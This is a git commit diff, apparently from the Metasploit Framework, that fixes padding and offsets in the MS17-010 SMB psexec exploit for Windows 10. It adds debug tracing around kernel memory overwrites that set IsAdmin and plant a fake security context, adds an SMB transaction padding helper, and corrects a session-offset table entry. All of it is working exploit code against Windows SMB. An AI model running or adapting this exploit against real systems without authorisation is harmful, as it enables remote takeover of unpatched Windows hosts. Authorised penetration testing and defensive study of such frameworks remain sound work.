fixed padding/offsets for win 10
parent
237c3f7b2c
commit
7cc00c0e10
|
@ -48,6 +48,11 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
|
||||||
|
|
||||||
# IsNullSession = 0, IsAdmin = 1
|
# IsNullSession = 0, IsAdmin = 1
|
||||||
write_what_where("\x00\x01", @ctx['session'] + @ctx['SESSION_ISNULL_OFFSET'])
|
write_what_where("\x00\x01", @ctx['session'] + @ctx['SESSION_ISNULL_OFFSET'])
|
||||||
|
|
||||||
|
if datastore['DBGTRACE']
|
||||||
|
vprint_status("Overwrote IsNullSession = 0, IsAdmin = 1")
|
||||||
|
end
|
||||||
|
|
||||||
modify_token()
|
modify_token()
|
||||||
|
|
||||||
@ctx['rekt'] = true # set if we need to clean up the token
|
@ctx['rekt'] = true # set if we need to clean up the token
|
||||||
|
@ -82,10 +87,22 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
|
||||||
fmt = @ctx['PTR_FMT']
|
fmt = @ctx['PTR_FMT']
|
||||||
# read session struct to get SecurityContext address
|
# read session struct to get SecurityContext address
|
||||||
sessionData = read_data(@ctx['session'], 0x100)
|
sessionData = read_data(@ctx['session'], 0x100)
|
||||||
|
|
||||||
|
if datastore['DBGTRACE']
|
||||||
|
vprint_status("Session Data: #{bin_to_hex(sessionData)}")
|
||||||
|
vprint_status("session dat len = #{sessionData.length}")
|
||||||
|
vprint_status("Session ctx offset = #{@ctx['SESSION_SECCTX_OFFSET'].to_s(16)}")
|
||||||
|
vprint_status("Session ctx data = #{bin_to_hex(sessionData[@ctx['SESSION_SECCTX_OFFSET']..-1])}")
|
||||||
|
|
||||||
|
end
|
||||||
#value = leakTrans[0x8..-1].unpack(ptrf * 5) #unpack_from('<'+ptrf*5, leakTrans, 8)
|
#value = leakTrans[0x8..-1].unpack(ptrf * 5) #unpack_from('<'+ptrf*5, leakTrans, 8)
|
||||||
#secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0]
|
#secCtxAddr = unpack_from('<'+fmt, sessionData, info['SESSION_SECCTX_OFFSET'])[0]
|
||||||
secCtxAddr = sessionData[@ctx['SESSION_SECCTX_OFFSET']..-1].unpack(@ctx['PTR_FMT'])[0]
|
secCtxAddr = sessionData[@ctx['SESSION_SECCTX_OFFSET']..-1].unpack(@ctx['PTR_FMT'])[0]
|
||||||
|
|
||||||
|
if datastore['DBGTRACE']
|
||||||
|
vprint_status("secCtxAddr: #{secCtxAddr.to_s(16)}")
|
||||||
|
end
|
||||||
|
|
||||||
if @ctx.key? 'PCTXTHANDLE_TOKEN_OFFSET'
|
if @ctx.key? 'PCTXTHANDLE_TOKEN_OFFSET'
|
||||||
# Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation
|
# Windows 2003 and earlier uses only ImpersonateSecurityContext() (with PCtxtHandle struct) for impersonation
|
||||||
# Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is
|
# Modifying token seems to be difficult. But writing kernel shellcode for all old Windows versions is
|
||||||
|
@ -120,16 +137,25 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
|
||||||
#write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
|
#write_data(conn, info, userAndGroupsAddr, fakeUserAndGroups)
|
||||||
write_what_where(fakeUserAndGroups, userAndGroupsAddr)
|
write_what_where(fakeUserAndGroups, userAndGroupsAddr)
|
||||||
|
|
||||||
else
|
else
|
||||||
# the target can use PsImperonateClient for impersonation (Windows 2008 and later)
|
# the target can use PsImperonateClient for impersonation (Windows 2008 and later)
|
||||||
# copy SecurityContext for restoration
|
# copy SecurityContext for restoration
|
||||||
|
if datastore['DBGTRACE']
|
||||||
|
vprint_status("Reading secCtxData from #{secCtxAddr.to_s(16)}")
|
||||||
|
end
|
||||||
secCtxData = read_data(secCtxAddr, @ctx['SECCTX_SIZE'])
|
secCtxData = read_data(secCtxAddr, @ctx['SECCTX_SIZE'])
|
||||||
|
if datastore['DBGTRACE']
|
||||||
|
vprint_status("Read data from secCtx: #{bin_to_hex(secCtxData)}")
|
||||||
|
end
|
||||||
|
|
||||||
@ctx['secCtxData'] = secCtxData
|
@ctx['secCtxData'] = secCtxData
|
||||||
@ctx['secCtxAddr'] = secCtxAddr
|
@ctx['secCtxAddr'] = secCtxAddr
|
||||||
|
|
||||||
# see FAKE_SECCTX detail at top of the file
|
# see FAKE_SECCTX detail at top of the file
|
||||||
write_what_where(@ctx['FAKE_SECCTX'], secCtxAddr)
|
write_what_where(@ctx['FAKE_SECCTX'], secCtxAddr)
|
||||||
|
if datastore['DBGTRACE']
|
||||||
|
vprint_status("Overwrote fake secctx")
|
||||||
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
@ -785,7 +811,7 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
|
||||||
end
|
end
|
||||||
|
|
||||||
def bin_to_hex(s)
|
def bin_to_hex(s)
|
||||||
s.each_byte.map { |b| b.to_s(16) }.join
|
s.each_byte.map { |b| "%02x" % b }.join
|
||||||
end
|
end
|
||||||
|
|
||||||
def recv_transaction_data(mid, len)
|
def recv_transaction_data(mid, len)
|
||||||
|
@ -818,12 +844,6 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
|
||||||
pkt = CONST::SMB_NTTRANS_PKT.make_struct
|
pkt = CONST::SMB_NTTRANS_PKT.make_struct
|
||||||
set_smb1_headers(pkt, tid: tid, uid: uid, pid: pid, mid: mid)
|
set_smb1_headers(pkt, tid: tid, uid: uid, pid: pid, mid: mid)
|
||||||
|
|
||||||
param = param.b
|
|
||||||
data = data.b
|
|
||||||
|
|
||||||
# smb + wct + pb + bcc
|
|
||||||
param_offset = 32 + 39 + setup.length + 2 # 73 if setup.length == 0
|
|
||||||
|
|
||||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT
|
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT
|
||||||
pkt['Payload']['SMB'].v['WordCount'] = 19 + setup.length
|
pkt['Payload']['SMB'].v['WordCount'] = 19 + setup.length
|
||||||
|
|
||||||
|
@ -832,44 +852,32 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
|
||||||
pkt['Payload'].v['ParamCountMax'] = if maxParameterCount != nil then maxParameterCount else param.length end
|
pkt['Payload'].v['ParamCountMax'] = if maxParameterCount != nil then maxParameterCount else param.length end
|
||||||
pkt['Payload'].v['DataCountMax'] = if maxDataCount != nil then maxDataCount else data.length end # doesnt match?
|
pkt['Payload'].v['DataCountMax'] = if maxDataCount != nil then maxDataCount else data.length end # doesnt match?
|
||||||
pkt['Payload'].v['ParamCount'] = param.length
|
pkt['Payload'].v['ParamCount'] = param.length
|
||||||
pkt['Payload'].v['ParamOffset'] = param_offset
|
|
||||||
pkt['Payload'].v['DataCount'] = data.length
|
pkt['Payload'].v['DataCount'] = data.length
|
||||||
pkt['Payload'].v['DataOffset'] = param_offset + param.length
|
|
||||||
pkt['Payload'].v['SetupCount'] = setup.length
|
pkt['Payload'].v['SetupCount'] = setup.length
|
||||||
pkt['Payload'].v['SetupData'] = setup
|
pkt['Payload'].v['SetupData'] = setup
|
||||||
|
|
||||||
pkt['Payload'].v['Subcommand'] = subcommand
|
pkt['Payload'].v['Subcommand'] = subcommand
|
||||||
|
|
||||||
pkt['Payload'].v['Payload'] = param + data # strip padding
|
pkt = put_trans_data(pkt, data: data, param: param)
|
||||||
|
|
||||||
return pkt
|
return pkt
|
||||||
end
|
end
|
||||||
|
|
||||||
def create_nt_trans_secondary_packet(tid: nil, uid: nil, pid: nil, mid: nil, wct: 18, param: '', paramDisplacement: 0, data: '', dataDisplacement: 0)
|
def create_nt_trans_secondary_packet(tid: nil, uid: nil, pid: nil, mid: nil, wct: 18, param: '', paramDisplacement: 0, data: '', dataDisplacement: 0)
|
||||||
|
|
||||||
pkt = CONST::SMB_NTTRANS_SECONDARY_PKT.make_struct
|
pkt = CONST::SMB_NTTRANS_SECONDARY_PKT.make_struct
|
||||||
set_smb1_headers(pkt, tid: tid, uid: uid, pid: pid, mid: mid)
|
set_smb1_headers(pkt, tid: tid, uid: uid, pid: pid, mid: mid)
|
||||||
|
|
||||||
param = param.b
|
|
||||||
data = data.b
|
|
||||||
|
|
||||||
base_offset = pkt.to_s.length - 4
|
|
||||||
param_offset = if param != '' then base_offset else 0 end
|
|
||||||
data_offset = if data != '' then base_offset + param.length else 0 end
|
|
||||||
|
|
||||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT_SECONDARY
|
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_NT_TRANSACT_SECONDARY
|
||||||
pkt['Payload']['SMB'].v['WordCount'] = wct
|
pkt['Payload']['SMB'].v['WordCount'] = wct
|
||||||
|
|
||||||
pkt['Payload'].v['ParamCountTotal'] = param.length
|
pkt['Payload'].v['ParamCountTotal'] = param.length
|
||||||
pkt['Payload'].v['DataCountTotal'] = data.length
|
pkt['Payload'].v['DataCountTotal'] = data.length
|
||||||
pkt['Payload'].v['ParamCount'] = param.length
|
pkt['Payload'].v['ParamCount'] = param.length
|
||||||
pkt['Payload'].v['ParamOffset'] = param_offset
|
|
||||||
pkt['Payload'].v['DataCount'] = data.length
|
pkt['Payload'].v['DataCount'] = data.length
|
||||||
pkt['Payload'].v['DataOffset'] = data_offset
|
|
||||||
pkt['Payload'].v['DataDisplace'] = dataDisplacement
|
pkt['Payload'].v['DataDisplace'] = dataDisplacement
|
||||||
pkt['Payload'].v['ParamDisplace'] = paramDisplacement
|
pkt['Payload'].v['ParamDisplace'] = paramDisplacement
|
||||||
|
|
||||||
pkt['Payload'].v['Payload'] = param + data
|
pkt = put_trans_data(pkt, data: data, param: param)
|
||||||
|
|
||||||
pkt
|
pkt
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -877,35 +885,58 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
|
||||||
pkt = CONST::SMB_TRANS_PKT.make_struct
|
pkt = CONST::SMB_TRANS_PKT.make_struct
|
||||||
set_smb1_headers(pkt, tid: tid, uid: uid, pid: pid, mid: mid)
|
set_smb1_headers(pkt, tid: tid, uid: uid, pid: pid, mid: mid)
|
||||||
|
|
||||||
param = param.b
|
|
||||||
data = data.b
|
|
||||||
|
|
||||||
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION
|
pkt['Payload']['SMB'].v['Command'] = CONST::SMB_COM_TRANSACTION
|
||||||
pkt['Payload']['SMB'].v['WordCount'] = 14 + setup.length
|
pkt['Payload']['SMB'].v['WordCount'] = 14 + setup.length
|
||||||
|
|
||||||
base_offset = pkt.to_s.length - 4
|
|
||||||
param_offset = if param != '' then base_offset else 0 end
|
|
||||||
data_offset = if data != '' then base_offset + param.length else 0 end
|
|
||||||
|
|
||||||
pkt['Payload'].v['ParamCountTotal'] = if totalParameterCount != nil then totalParameterCount else param.length end
|
pkt['Payload'].v['ParamCountTotal'] = if totalParameterCount != nil then totalParameterCount else param.length end
|
||||||
pkt['Payload'].v['DataCountTotal'] = if totalDataCount != nil then totalDataCount else data.length end
|
pkt['Payload'].v['DataCountTotal'] = if totalDataCount != nil then totalDataCount else data.length end
|
||||||
pkt['Payload'].v['ParamCountMax'] = if maxParameterCount != nil then maxParameterCount else param.length end
|
pkt['Payload'].v['ParamCountMax'] = if maxParameterCount != nil then maxParameterCount else param.length end
|
||||||
pkt['Payload'].v['DataCountMax'] = if maxDataCount != nil then maxDataCount else data.length end
|
pkt['Payload'].v['DataCountMax'] = if maxDataCount != nil then maxDataCount else data.length end
|
||||||
pkt['Payload'].v['ParamCount'] = param.length
|
pkt['Payload'].v['ParamCount'] = param.length
|
||||||
pkt['Payload'].v['ParamOffset'] = param_offset
|
|
||||||
pkt['Payload'].v['DataCount'] = data.length
|
pkt['Payload'].v['DataCount'] = data.length
|
||||||
pkt['Payload'].v['DataOffset'] = data_offset
|
|
||||||
pkt['Payload'].v['SetupCount'] = setup.length
|
pkt['Payload'].v['SetupCount'] = setup.length
|
||||||
pkt['Payload'].v['SetupData'] = setup
|
pkt['Payload'].v['SetupData'] = setup
|
||||||
|
|
||||||
pkt['Payload'].v['Flags'] = 0
|
pkt['Payload'].v['Flags'] = 0
|
||||||
pkt['Payload'].v['Timeout'] = 0xffffffff
|
pkt['Payload'].v['Timeout'] = 0xffffffff
|
||||||
|
|
||||||
pkt['Payload'].v['Payload'] = param + data
|
pkt = put_trans_data(pkt, data: data, param: param)
|
||||||
|
|
||||||
pkt
|
pkt
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# Note: Setup length is included when len(param) is called
|
||||||
|
def put_trans_data(pkt, len: 0, param: '', data: '', noPad: false)
|
||||||
|
pkt['Payload'].v['ParamOffset'] = 0
|
||||||
|
pkt['Payload'].v['DataOffset'] = 0
|
||||||
|
|
||||||
|
# SMB header: 32 bytes
|
||||||
|
# WordCount: 1 bytes
|
||||||
|
# ByteCount: 2 bytes
|
||||||
|
#offset = 32 + 1 + len + 2 #len(pkt['Parameters']) + 2
|
||||||
|
len = pkt.to_s.length - 4
|
||||||
|
param = param.b
|
||||||
|
data = data.b
|
||||||
|
offset = len
|
||||||
|
|
||||||
|
transData = ''
|
||||||
|
if param != ''
|
||||||
|
padLen = if noPad then 0 else (4 - offset % 4 ) % 4 end
|
||||||
|
pkt['Payload'].v['ParamOffset'] = offset + padLen
|
||||||
|
transData = ("\x00" * padLen) + param
|
||||||
|
offset += padLen + param.length
|
||||||
|
end
|
||||||
|
|
||||||
|
if data != ''
|
||||||
|
padLen = if noPad then 0 else (4 - offset % 4 ) % 4 end
|
||||||
|
pkt['Payload'].v['DataOffset'] = offset + padLen
|
||||||
|
transData += ("\x00" * padLen) + data
|
||||||
|
end
|
||||||
|
|
||||||
|
pkt['Payload'].v['Payload'] = transData
|
||||||
|
pkt
|
||||||
|
end
|
||||||
|
|
||||||
def create_trans_secondary_packet(tid: nil, uid: nil, pid: nil, mid: nil, param: '', paramDisplacement: 0, data: '', dataDisplacement: 0)
|
def create_trans_secondary_packet(tid: nil, uid: nil, pid: nil, mid: nil, param: '', paramDisplacement: 0, data: '', dataDisplacement: 0)
|
||||||
pkt = CONST::SMB_BASE_PKT.make_struct
|
pkt = CONST::SMB_BASE_PKT.make_struct
|
||||||
set_smb1_headers(pkt, tid: tid, uid: uid, pid: pid, mid: mid)
|
set_smb1_headers(pkt, tid: tid, uid: uid, pid: pid, mid: mid)
|
||||||
|
@ -1260,7 +1291,7 @@ module Exploit::Remote::SMB::Client::Psexec_MS17_010
|
||||||
'x64' => {
|
'x64' => {
|
||||||
'CPUARCH' => X64_INFO,
|
'CPUARCH' => X64_INFO,
|
||||||
'OFFSETS' => WIN7_64_TRANS_INFO,
|
'OFFSETS' => WIN7_64_TRANS_INFO,
|
||||||
'SESSION' => WIN8_32_SESSION_INFO
|
'SESSION' => WIN8_64_SESSION_INFO
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
'WINXP' => {
|
'WINXP' => {
|
||||||
|
|
|
@ -102,6 +102,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||||
rescue ::Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010::MS17_010_Error => e
|
rescue ::Msf::Exploit::Remote::SMB::Client::Psexec_MS17_010::MS17_010_Error => e
|
||||||
print_error("#{e.message}")
|
print_error("#{e.message}")
|
||||||
rescue ::Errno::ECONNRESET,
|
rescue ::Errno::ECONNRESET,
|
||||||
|
::Rex::Proto::SMB::Exceptions::LoginError,
|
||||||
::Rex::HostUnreachable,
|
::Rex::HostUnreachable,
|
||||||
::Rex::ConnectionTimeout,
|
::Rex::ConnectionTimeout,
|
||||||
::Rex::ConnectionRefused => e
|
::Rex::ConnectionRefused => e
|
||||||
|
|
Loading…
Reference in New Issue